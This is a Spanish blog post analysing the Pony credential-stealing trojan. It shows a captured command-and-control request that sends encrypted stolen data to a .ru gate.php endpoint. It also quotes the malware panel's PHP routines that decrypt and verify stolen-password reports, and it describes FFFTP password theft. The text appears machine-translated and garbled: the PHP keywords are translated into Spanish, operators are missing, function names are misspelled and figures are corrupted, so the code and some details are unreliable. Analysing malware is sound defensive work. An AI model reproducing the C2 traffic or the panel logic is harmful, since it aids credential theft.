Análisis de malware
Revertir el troyano Pony parte II
diciembre 9, por SecRata
Pony es un troyano ladrón y ha estado activo desde hace bastante tiempo. Fue responsable de robar más de000 dólares en bitcoins ( https://threatpost.com/latest-instance-of-pony-botnet-pilfers–700k-credentials/104463/ ). En esta publicación, intentaremos cubrir la inversión estática del troyano Pony.
Herramientas necesarias:
- Vmware
- Desensamblador IDA
- ollydbg Depurador
- editor hexadecimal
Si no ha leído la Parte I, le recomendamos que la lea antes de leer esto.
En este post vamos a examinar el tráfico de comandos y controles y vamos a analizar estáticamente el binario.
Miremos el tráfico pcap
ENVIAR /gate.php HTTP/1.0
Anfitrión: titratresfi.ru
Aceptar: */*
Codificación de aceptación: identidad, *;q=0
Aceptar-Idioma: en-US
Longitud del contenido: 274
Tipo de contenido: aplicación/flujo de octetos
Conexión: cerrar
Codificación de contenido: binario
Agente de usuario: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
…..ql.HlW*.F.udS]…L….^.cF.;!….A5 v…6…….D.. ..Z.+.xld.{o.JFY`.D..Z….aP.}U…W..6..NR.7@P.1..p5t.`.. ….U
..d.!..3..tHJ.J..I……g8…8.`..`.f…i..J..(r..MrnW. ..frv[…….t.}….D`%}U…m…KEn.R+.iD.:4…9.L….EnR. ..?….|.B…$o..
…/….AHTTP/1.1OK
Servidor: nginx/1.6.2
Fecha: jueves, 12 de noviembre de 15:35:16 GMT
Tipo de contenido: texto/html
Conexión: cerrar
X-Desarrollado por: PHP/5.4.41
.Z..O….P..na..+..
Esta es una solicitud de inicialización básica enviada al servidor y, aparentemente, está cifrada. Miremos el código fuente del panel Pony para descubrir qué tipo de cifrado está utilizando y cómo se puede volver a decodificar.
Al observar el código fuente de gat e para manejar solicitudes básicas básicas, descubrimos
Primero verifica si el tamaño es mayor que 12 y max_db_len_size. Después de que esos datos se verifican nuevamente, aparece un encabezado en la función verificar_report_file_header() que nos dice que también tiene un encabezado.
Profundicemos en el código fuente de contraseña_modules.php para descubrirlo.
Podemos localizar las siguientes funciones encargadas de verificar el encabezado del paquete.
función estática pública verificar_nuevo_archivo_header($datos)
{
si (stren($datos) 4)
falso retorno;
$max_header_len = max(strlen(REPORT_HEADER), strlen(REPORT_PACKED_HEADER), strlen(REPORT_CRYPTED_HEADER));
$rc4_key = substr($datos, 0, 4);
$encrypted_header = substr($datos, 4, $max_header_len);
$decrypted_header = rc4Decrypt($rc4_key, $encrypted_header);
return self::verify_old_file_header($decrypted_header);
}
función estática pública verificar_old_file_header($data)
{
si ((substr($datos, 0, strlen(REPORT_HEADER))) == REPORT_HEADER)
devolver verdadero;
if ((substr($datos, 0, strlen(REPORT_PACKED_HEADER))) == REPORT_PACKED_HEADER)
devolver verdadero;
if ((substr($datos, 0, strlen(REPORT_CRYPTED_HEADER))) == REPORT_CRYPTED_HEADER)
devolver verdadero;
falso retorno;
}
función estática pública verificar_report_file_header($datos)
{
devolver self::verify_new_file_header($data) || self::verify_old_file_header($datos);
}
Consta de dos encabezados predefinidos, uno nuevo y uno antiguo, y ambos se verifican consecutivamente.
A continuación se detallan las definiciones de las palabras clave mágicas del encabezado.
definir(«REPORT_HEADER»,»PWDFILE0″); // cada informe de contraseña comienza con este encabezado
define(«REPORT_PACKED_HEADER», «PKDFILE0»); // encabezado que indica que el informe está empaquetado
define(«REPORT_CRYPTED_HEADER», «CRYPTED0»); // encabezado que indica que el informe está cifrado
El tamaño máximo del encabezado es 12 bytes, por lo que doce bytes después de los primeros 4 bytes siempre contienen el encabezado. Los primeros cuatro bytes se utilizan como clave rc4.
$rc4_key = substr($datos, 0, 4);
$encrypted_header = substr($datos, 4, $max_header_len);
$decrypted_header = rc4Decrypt($rc4_key, $encrypted_header);
Después del descifrado, se llama a otra función para descifrar el resto del informe y verificar la integridad del informe. es decir, pre_decrypt_report()
función estática pública pre_decrypt_report($data, $report_password = »)
{
si (self::verify_new_file_header($datos))
{
self::rand_decrypt($datos);
}
if ((substr($datos, 0, strlen(REPORT_CRYPTED_HEADER))) != REPORT_CRYPTED_HEADER)
falso retorno;
si (stren($datos) == 0)
{
falso retorno;
} else if (strlen($data) 12) // la longitud no puede ser inferior a 12 bytes (encabezado de 8 bytes + suma de comprobación crc32)
{
falso retorno;
} si no (strlen($datos) REPORT_LEN_LIMIT)
{
falso retorno;
} elseif (strlen($data) == 12) // informe vacío
falso retorno;
// extrae la suma de comprobación crc32 del flujo de datos
$crc_chk = data_int32(substr($datos, strlen($datos)-4));
// elimina la suma de comprobación crc32 del flujo de datos cifrados
$datos_cifrados = substr($datos, 0, -4);
// comprobar la validez del informe
$crc_chk = obf_crc32($crc_chk);
si ((int)crc32($encrypted_data) != (int)$crc_chk)
{
falso retorno;
}
$decrypted_data = rc4Decrypt($report_password, substr($encrypted_data, 8));
// hay otra suma de comprobación crc32 disponible para verificar el proceso de descifrado
// extrae la suma de comprobación crc32 del flujo de datos descifrado
$crc_chk = data_int32(substr($decrypted_data, strlen($decrypted_data)-4));
// elimina la suma de comprobación crc32 del flujo de datos
$decrypted_data_check = substr($decrypted_data, 0, -4);
// comprobar la validez del informe
$crc_chk = obf_crc32($crc_chk);
si ((int)crc32($decrypted_data_check)!= (int)$crc_chk)
{
falso retorno;
}
$datos = $datos_descifrados;
devolver verdadero;
}
}
En esta función, el encabezado se verifica nuevamente y se extrae un valor de 4 bytes del final del flujo de datos. Este valor se utiliza como suma de verificación CRC32 para los datos. La suma de verificación CRC32 se elimina y luego se calcula la integridad.
Después de verificar con éxito el hash crc32. Este fragmento de datos después de los primeros 8 bytes se decodifica con una clave rc4 predefinida tomada de la base de datos $report_password
$pony_db_report_password = $pony_db-get_option(‘report_password’, », REPORT_DEFAULT_PASSWORD);
Nuevamente, la suma de verificación crc32 se extrae de los últimos 4 bytes del flujo descifrado y se verifica su integridad.
Si es un archivo empaquetado, se descomprime con aplib. Si es una solicitud básica, se descifra con rc4 y se analiza en una estructura.
// informe del proceso
ob_start(); // detecta ruido en el procesamiento de informes
informe_error(E_ALL);
$parse_result = $informe-process_report($received_report_data, $pony_db_report_password);
$ob_data = recortar(ob_get_contents());
informe_error(0);
ob_end_clean();
Antes de comprobar si el ID del informe ya está presente en el sistema y, de ser así, no continúa con la creación de un nuevo ID para el informe en particular.
Luego procede a completar información a partir de datos no cifrados en la base de datos, que tiene el siguiente formato.
$pony_db-update_parsed_report($report_id, $report-report_os_name, $report-report_is_win64, $report-report_is_admin, $report-report_hwid, $report-report_version_id, $url_list_array, $report-log-log_lines , $informe-cert_lines, $informe-wallet_lines, $email_lines);
Veamos ahora cómo Pony intenta robar contraseñas. Todas las rutinas responsables de robar las credenciales almacenadas se almacenan en una matriz de punteros:
veamos una función responsable de robar contraseñas FFFTP.
Primero busca la contraseña almacenada codificada en la clave de registro SoftwareSotaFFFTP y, una vez encontradas todas las claves, intentará decodificarlas utilizando su propio algoritmo de decodificación.